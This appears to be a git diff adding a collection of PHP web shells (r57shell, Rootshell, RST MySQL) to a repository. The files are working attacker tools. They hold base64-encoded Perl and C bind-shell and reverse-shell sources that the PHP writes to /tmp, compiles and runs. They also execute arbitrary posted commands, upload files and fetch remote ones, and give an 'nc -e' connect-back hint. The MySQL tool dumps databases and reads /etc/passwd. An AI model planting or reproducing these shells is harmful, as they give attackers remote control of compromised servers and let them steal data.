+0KbGlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCm
+FjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspKQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaW
+YgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+Jk
+NPTk4iOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ0
+9OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3NlIENPTk47DQpleGl0IDA7DQp9DQp9";
+/* -------------------------- END Port bind perl source ----------------- */
+
+/* -------------------------- back connect Perl source ------------------ */
+$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ
+HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ
+DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ
+HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L
+CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd
+GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka
+WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO
+iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR
+VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK
+FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+/* -------------------------- END back connect Perl source -------------- */
+
+/* -------------------------- back connect C source --------------------- */
+$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0
+KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10
+pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJ
+ybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2l
+uLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA
+9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMSt
+zdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVB
+QUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4
+sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCg
+pIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1
+zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWN
+sKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+/* -------------------------- END back connect C source ----------------- */
+?>
+
+
+
+
+r57shell
+
+
+
+
+
+
+
+
+
+! r57shell
+
+
+
+
+
+
+
+/* change dir */
+if (!empty($HTTP_POST_VARS['dir'])) { chdir($HTTP_POST_VARS['dir']); }
+$dir = getcwd();
+
+/* display information */
+echo "";
+echo 'uname -a : sysctl : $OSTYPE : id : pwd : ';
+echo " ";
+echo "";
+echo " ".exec("uname -a")." ";
+$bsd1 = `/sbin/sysctl -n kern.ostype`;
+$bsd2 = `/sbin/sysctl -n kern.osrelease`;
+$lin1 = `/sbin/sysctl -n kernel.ostype`;
+$lin2 = `/sbin/sysctl -n kernel.osrelease`;
+if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
+else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
+else { $sysctl = "-"; }
+echo " ".$sysctl." ";
+echo " ".exec('echo $OSTYPE')." ";
+echo " ".exec("id")." ";
+echo " ".$dir;
+echo " ";
+echo "";
+echo $table_end1;
+
+/* port bind C */
+if (!empty($HTTP_POST_VARS['port'])&&!empty($HTTP_POST_VARS['bind_pass'])&&($HTTP_POST_VARS['use']=="C"))
+{
+ $w_file=fopen("/tmp/bd.c","ab+") or $err=1;
+ if($err==1)
+ {
+ echo "Error! Can't write in /tmp/bd.c
";
+ $err=0;
+ }
+ else
+ {
+ fputs($w_file,base64_decode($port_bind_bd_c));
+ fclose($w_file);
+ $blah=exec("gcc -o /tmp/bd /tmp/bd.c");
+ unlink("/tmp/bd.c");
+ $bind_string="/tmp/bd ".$HTTP_POST_VARS['port']." ".$HTTP_POST_VARS['bind_pass']." &";
+ $blah=exec($bind_string);
+ $HTTP_POST_VARS['cmd']="ps -aux | grep bd";
+ $err=0;
+ }
+}
+
+/* port bind Perl */
+if (!empty($HTTP_POST_VARS['port'])&&!empty($HTTP_POST_VARS['bind_pass'])&&($HTTP_POST_VARS['use']=="Perl"))
+{
+ $w_file=fopen("/tmp/bdpl","ab+") or $err=1;
+ if($err==1)
+ {
+ echo "Error! Can't write in /tmp/bdpl
";
+ $err=0;
+ }
+ else
+ {
+ fputs($w_file,base64_decode($port_bind_bd_pl));
+ fclose($w_file);
+ $bind_string="perl /tmp/bdpl ".$HTTP_POST_VARS['port']." &";
+ $blah=exec($bind_string);
+ $HTTP_POST_VARS['cmd']="ps -aux | grep bdpl";
+ $err=0;
+ }
+}
+
+/* back connect Perl */
+if (!empty($HTTP_POST_VARS['ip']) && !empty($HTTP_POST_VARS['port']) && ($HTTP_POST_VARS['use']=="Perl"))
+{
+ $w_file=fopen("/tmp/back","ab+") or $err=1;
+ if($err==1)
+ {
+ echo "Error! Can't write in /tmp/back
";
+ $err=0;
+ }
+ else
+ {
+ fputs($w_file,base64_decode($back_connect));
+ fclose($w_file);
+ $bc_string="perl /tmp/back ".$HTTP_POST_VARS['ip']." ".$HTTP_POST_VARS['port']." &";
+ $blah=exec($bc_string);
+ $HTTP_POST_VARS['cmd']="echo \"Now script try connect to ".$HTTP_POST_VARS['ip']." port ".$HTTP_POST_VARS['port']." ...\"";
+ $err=0;
+ }
+}
+
+/* back connect C */
+if (!empty($HTTP_POST_VARS['ip']) && !empty($HTTP_POST_VARS['port']) && ($HTTP_POST_VARS['use']=="C"))
+{
+ $w_file=fopen("/tmp/back.c","ab+") or $err=1;
+ if($err==1)
+ {
+ echo "Error! Can't write in /tmp/back.c
";
+ $err=0;
+ }
+ else
+ {
+ fputs($w_file,base64_decode($back_connect_c));
+ fclose($w_file);
+ $blah=exec("gcc -o /tmp/backc /tmp/back.c");
+ unlink("/tmp/back.c");
+ $bc_string="/tmp/backc ".$HTTP_POST_VARS['ip']." ".$HTTP_POST_VARS['port']." &";
+ $blah=exec($bc_string);
+ $HTTP_POST_VARS['cmd']="echo \"Now script try connect to ".$HTTP_POST_VARS['ip']." port ".$HTTP_POST_VARS['port']." ...\"";
+ $err=0;
+ }
+}
+
+/* alias execute */
+if (!empty($HTTP_POST_VARS['alias']))
+ {
+ foreach ($aliases as $alias_name=>$alias_cmd) {
+ if ($HTTP_POST_VARS['alias'] == $alias_name) {$HTTP_POST_VARS['cmd']=$alias_cmd;}
+ }
+ }
+
+/* file upload */
+if (!empty($HTTP_POST_FILES["userfile"]))
+{
+copy($HTTP_POST_FILES["userfile"][tmp_name],
+ $HTTP_POST_VARS['dir']."/".$HTTP_POST_FILES["userfile"][name])
+ or print("Error uploading file ".$HTTP_POST_FILES["userfile"][name]."
");
+}
+
+
+/* file upload from remote host */
+if (!empty($HTTP_POST_VARS['with']) && !empty($HTTP_POST_VARS['rem_file']) && !empty($HTTP_POST_VARS['loc_file']))
+{
+ if ($HTTP_POST_VARS['with'] == "wget") { $HTTP_POST_VARS['cmd'] = "wget ".$HTTP_POST_VARS['rem_file']." -O ".$HTTP_POST_VARS['loc_file'].""; }
+ else if ($HTTP_POST_VARS['with'] == "fetch") { $HTTP_POST_VARS['cmd']= "fetch -p ".$HTTP_POST_VARS['rem_file']." -o ".$HTTP_POST_VARS['loc_file'].""; }
+ else if ($HTTP_POST_VARS['with'] == "lynx") { $HTTP_POST_VARS['cmd']= "lynx -source ".$HTTP_POST_VARS['rem_file']." > ".$HTTP_POST_VARS['loc_file'].""; }
+}
+
+/* command execute */
+echo $table_up3;
+if ((!$HTTP_POST_VARS['cmd']) || ($HTTP_POST_VARS['cmd']=="")) { $HTTP_POST_VARS['cmd']="ls -lia"; }
+echo "".$lang[$language._text1].": ".$HTTP_POST_VARS['cmd']." ";
+echo "";
+echo " ";
+echo "".passthru($HTTP_POST_VARS['cmd'])."";
+echo "
";
+echo "";
+echo $table_end1;
+
+/* command execute form */
+echo $table_up1; echo $lang[$language._text2]; echo $table_up2;
+echo "";
+echo "";
+echo " ".$lang[$language._text3]." è ";
+echo " ";
+echo " ".$lang[$language._text4]." è ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo $table_end1;
+
+/* aliases form */
+echo $table_up1; echo $lang[$language._text7]; echo $table_up2;
+echo "";
+echo "";
+echo " ".$lang[$language._text8]." è ";
+echo "";
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ echo "$alias_name ";
+ }
+ echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo $table_end1;
+
+/* file upload form */
+echo $table_up1; echo $lang[$language._text5]; echo $table_up2;
+echo "";
+echo "";
+echo " ".$lang[$language._text6]." è ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo $table_end1;
+
+/* file upload from remote host form */
+echo $table_up1; echo $lang[$language._text15]; echo $table_up2;
+echo "";
+echo "";
+echo " ".$lang[$language._text16]." è ";
+echo "";
+echo "wget ";
+echo "fetch ";
+echo "lynx ";
+echo " ";
+echo " ".$lang[$language._text17]." è ";
+echo " ";
+echo " ".$lang[$language._text18]." è ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo $table_end1;
+
+/* port bind form */
+echo $table_up1; echo $lang[$language._text9]; echo $table_up2;
+echo "";
+echo "";
+echo " ".$lang[$language._text10]." è ";
+echo " ";
+echo " ".$lang[$language._text11]." è ";
+echo " ";
+echo " ".$lang[$language._text20]." è ";
+echo "";
+echo "Perl ";
+echo "C ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo $table_end1;
+
+/* back connect form */
+echo $table_up1; echo $lang[$language._text12]; echo $table_up2;
+echo "";
+echo "";
+echo " ".$lang[$language._text13]." è ";
+echo " ";
+echo " ".$lang[$language._text14]." è ";
+echo " ";
+echo " ".$lang[$language._text20]." è ";
+echo "";
+echo "Perl ";
+echo "C ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo $table_end1;
+
+/* (c) */
+echo $table_up3;
+echo "o---[ r57shell - http-shell by RusH security team | http://rst.void.ru | version 1.1 ]---o ";
+echo $table_end1;
+
+print base64_decode("PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK0
+1hdGgucmFuZG9tKCkrIiZzPTgxNjA2JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3a
+W5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2llPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhk
+b2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2p
+zPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L3NjcmlwdD48c2NyaXB0IG
+xhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgrJ3gnK
+3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5j
+b2xvckRlcHRoOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGx
+vZ19qcz0iMS4zIjwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2
+pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwOi8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicg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g8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0v
+TGl2ZUludGVybmV0LS0+");
+
+/* -------------------------[ EOF ]------------------------- */
+
+?>
diff --git a/xakep-shells/PHP/rootshell.php.txt b/xakep-shells/PHP/rootshell.php.txt
new file mode 100644
index 0000000..202d779
--- /dev/null
+++ b/xakep-shells/PHP/rootshell.php.txt
@@ -0,0 +1,349 @@
+
+
+//
+// Default Changes
+// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+$owner = "shells.dl.am"; // Insert your nick
+$version = "2.0.0"; // The version
+
+// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+//
+?>
+
+
+
+
+
____ _ ____ _ _ _
+| _ \ ___ ___ | |_ / ___|| |__ ___| | |
+| |_) / _ \ / _ \| __| \___ \| '_ \ / _ \ | |
+| _ < (_) | (_) | |_ _ ___) | | | | __/ | |
+|_| \_\___/ \___/ \__| (_) |____/|_| |_|\___|_|_|
+
+
+
+
+
+
+
+ Safe Mode ON ';
+} else {
+ print 'Safe Mode OFF ';
+}
+
+?>
+
!
+
+
+
+ [ Server Info ]
+
+
+
+
+ Current Directory: echo $_SERVER['DOCUMENT_ROOT']; ?>
+
+ Shell: echo $SCRIPT_FILENAME ?>
+
+ Server Software: echo $SERVER_SOFTWARE ?>
+ Server Name: echo $SERVER_NAME ?>
+ Server Protocol: echo $SERVER_PROTOCOL ?>
+
+
+
+
+
+ [ Command Execute ]
+
+ [ File Upload ]
+
+
+
+
+
+
+Insert your commands here:
+
+
+
+
+
+
+
+
+ Info: For a connect
+ back Shell, use: nc -e cmd.exe [SERVER] 3333
+ after local command: nc -v -l -p 3333 (Windows)
+
+
+
+Here you can upload some files.
+
+
+
+
+
+
+
+File already exist";
+ }
+
+ else
+ {
+ copy($file,"$filename");
+ if( file_exists($filename))
+ {
+ echo "File uploaded successful
";
+ }
+ elseif(! file_exists($filename))
+ {
+ echo "File not found
";
+ }
+ }
+}
+?>
+
+
+
+
+
+
+
+ [ Files & Directories ]
+
+ [ File Inclusion ]
+
+
+
+
+
+
+
+
+$folder=opendir('./');
+while ($file = readdir($folder)) {
+if($file != "." && $file != "..")
+echo '
'.$file.' ';
+}
+closedir($folder);
+?>
+
+
+
+ Include
+ something :)
+
+
+
+
+
+
+
+
+
+
+
+
+ [ File Editor ]
+
+ [ Notices ]
+
+
+
+
+
+$scriptname = $_SERVER['SCRIPT_NAME'];
+$filename = $_POST["filename"];
+
+if($_POST["submit"] == "Open")
+{
+ if(file_exists($filename))
+ {
+ $filecontents = htmlentities(file_get_contents($filename));
+
+ if(!$filecontents)
+ $status = "Error or No contents in file ";
+ }
+ else
+ $status = "File does not exist! ";
+}
+else if($_POST["submit"] == "Delete")
+{
+ if(file_exists($filename))
+ {
+ if(unlink($filename))
+ $status = "File successfully deleted! ";
+ else
+ $status = "Could not delete file! ";
+ }
+ else
+ $status = "File does not exist! ";
+}
+else if($_POST["submit"] == "Save")
+{
+ $filecontents = stripslashes(html_entity_decode($_POST["contents"]));
+
+ if(file_exists($filename))
+ unlink($filename);
+
+ $handle = fopen($filename, "w");
+
+ if(!$handle)
+ $status = "Could not open file for write access! ";
+ else
+ {
+ if(!fwrite($handle, $filecontents))
+ $status = $status."Could not write to file! (Maybe you didn't enter any text?) ";
+
+ fclose($handle);
+ }
+
+ $filecontents = htmlentities($filecontents);
+}
+else
+{
+ $status = "No file loaded! ";
+}
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Rootshell v © 2006 by SR-Crew
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/rst_sql.php.php.txt b/xakep-shells/PHP/rst_sql.php.php.txt
new file mode 100644
index 0000000..c26a3c4
--- /dev/null
+++ b/xakep-shells/PHP/rst_sql.php.php.txt
@@ -0,0 +1,1694 @@
+$v) {
+ if($k!='GLOBALS') {
+ strips($el[$k]);
+ }
+ }
+ } else {
+ $el = stripslashes($el);
+ }
+}
+if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
+ $file = "C:\\tmp\\dump_".$db.".sql";
+ $p_v=$SystemRoot."\my.ini";
+ $os="win";
+} else {
+ $file = "/tmp/dump_".$db.".sql";
+ $p_v="/etc/passwd";
+}
+if ($HTTP_GET_VARS['send']=='send_http') {
+function download($file, $type = false, $name = false, $down = false) {
+if(!file_exists($file)) exit;
+if(!$name) $name = basename($file);
+if($down) $type = "application/force-download";
+else if(!$type) $type = "application/download";
+$disp = $down ? "attachment" : "inline";
+header("Content-disposition: ".$disp."; filename=".$name);
+header("Content-length: ".filesize($file));
+header("Content-type: ".$type);
+header("Connection: close");
+header("Expires: 0");
+set_time_limit(0);
+readfile($file);
+unlink($file);
+exit;
+}
+if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['dump']=='bd'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+ $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ if (sizeof($tabs) == 0) {
+ // ïîëó÷àåì ñïèñîê òàáëèö áàçû
+ $res = mysql_query("SHOW TABLES FROM $db", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_row($res)) {
+ $tabs[] .= $row[0];
+ }
+ }
+ }
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
+ foreach($tabs as $tab) {
+ if ($add_drop) {
+ fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
+ }
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
+ $row = mysql_fetch_row($res);
+ fputs($fp, $row[1].";\n\n");
+
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tab`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+ fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
+ }
+ fclose($fp);
+}
+if ($HTTP_GET_VARS['strukt']=='d_strukt'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+ $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
+ $row = mysql_fetch_row($res);
+ fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
+ fputs($fp, $row[1].";\n\n");
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tbl`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+
+ fclose($fp);
+}
+if ($HTTP_GET_VARS['strukt']=='t_strukt'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+ $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
+ $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
+ $row = mysql_fetch_row($res);
+ fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
+ fputs($fp, $row[1].";\n\n");
+ fclose($fp);
+}
+if ($HTTP_GET_VARS['strukt']=='d'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+ $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ $fp = fopen($file, "w");
+ $res = mysql_query("SELECT * FROM `$tbl`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+ fclose($fp);
+}
+download($f_dump);
+}
+function send_header() {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+}
+if ($HTTP_GET_VARS['img']=='st_form_bg') {
+ $st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';
+ send_header();
+ echo base64_decode($st_form_bg);
+}
+if ($HTTP_GET_VARS['img']=='bg_f') {
+$bg_f='R0lGODlhAQARAMQAANXW1+7w8uvt79TV18jJye3w8+zu8Ofp7MfIydzd3+fo687P0Nvc3eHi5eP'.
+ 'k5sPDw87OzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BA'.
+ 'AAAAAALAAAAAABABEAAAUP4IMsQOIcRlAISsMMEBECADs=';
+ send_header();
+ echo base64_decode($bg_f);
+}
+if ($HTTP_GET_VARS['img']=='b_close') {
+$b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'.
+ 'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'.
+ 'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'.
+ 'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'.
+ 'i+yfn5IAAOu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Fz+'.
+ 'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'.
+ 'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'.
+ 'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'.
+ 'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7';
+ send_header();
+ echo base64_decode($b_close);
+}
+$n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");');
+$h_error="Îøèáêà â çàïðîñå: ";
+$f_error="
+
+
+
+
+
+
+
+
+ free script ©RusH Security Team
+
+
+
+
+
+
";
+
+ print "
+ RST MySQL
+
+
+ ";
+
+
+if ($sapi_type == "cgi") {
+ $php_type="CGI";
+} else {
+ $php_type="ìîäóëü";
+}
+
+$form_file="
+ ";
+
+$start_form="
+
+
+
+
+
+
+
+
+ Ņ
+
+
+ RST MySQL v(2.0)
+
+
+ ".date ("j F- Y- g:i")."
+
+
+
+
+
+
+
+
+
+
+
+
+ Óòèëèòà äëÿ ðàáîòû ñ MySQL
+ Ïðîñìîòð áàç è òàáëèö.
+ Ïðîèçâîëüíûå çàïðîñû ê ÁÄ.
+ Ðåäàêòèðîâàíèå áàç è òàáëèö.
+ Äàìïû ÁÄ èëè òàáëèö.
+ Type - FREE
+ Home page: http://rst.void.ru
+ ¨
+
+
+ Äëÿ ñîåäèíåíèÿ ñ ñåðâåðîì MySQL ââåäèòå ÈÌß , ÏÀÐÎËÜ (ïîëüçîâàòåëÿ MySQL) è èìÿ ÕÎÑÒÀ .
+ Åñëè ëîãèí þçåðà mysql íå óêàçàí ÿâíî, ïî óìîë÷àíèþ ïîäñòàâëÿåòñÿ èìÿ âëàäåëüöà ïðîöåññà.
+ Åñëè ïàðîëü þçåðà mysql íå óêàçàí ÿâíî, ïî óìîë÷àíèþ ïîäñòàâëÿåòñÿ ïóñòîé ïàðîëü.
+ Åñëè èìÿ ñåâðâåðà mysql íå óêàçàíî ÿâíî, ïî óìîë÷àíèþ ïîäñòàâëÿåòñÿ localhost
+ Åñëè ïîðò äëÿ ñåâðâåðà mysql íå óêàçàí ÿâíî, ïîäñòàâëÿåòñÿ ïîðò ïî óìîë÷àíèþ, îáû÷íî (3306 )
+ Âåðñèÿ PHP (".phpversion()." ) ID PHP script (".get_current_user( )." )
+
+
+
+
+
+
+
+
+
+
+
+
+ free script ©RusH Security Team
+
+
+
+
+
+
(coded by dinggo)
+";
+
+if ($os =='win') {
+$os="OS- ".$HTTP_ENV_VARS["OS"]." ";
+}else{
+ $str_k=$_ENV["BOOT_FILE"];
+ $k=preg_replace ("/[a-zA-Z\/]/","", $str_k);
+ $os="OS\Kernel: ".$_ENV["BOOT_IMAGE"].$k." ";
+
+}
+
+if (!isset($s) || $HTTP_GET_VARS[s] != 'y') { print $start_form;
+ $serv = array(127,192,172,10);
+ $adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]);
+ if (!in_array($adrr[0], $serv)) {
+ //ïðè ïîÿâëåíèè íîâîé âåðñèè óòèëèòû ïîêàæåì ÷òî äîñòóïíà
+ //íîâàÿ âåðñèÿ è ïðåäëîæèì çàãðóçèòü åå ñ ñàéòà
+ @print " ";
+ @readfile ("http://rst.void.ru/version_sql/version.php");
+ }
+exit;
+}
+
+$form_ad_b="
+
+
+
+
+
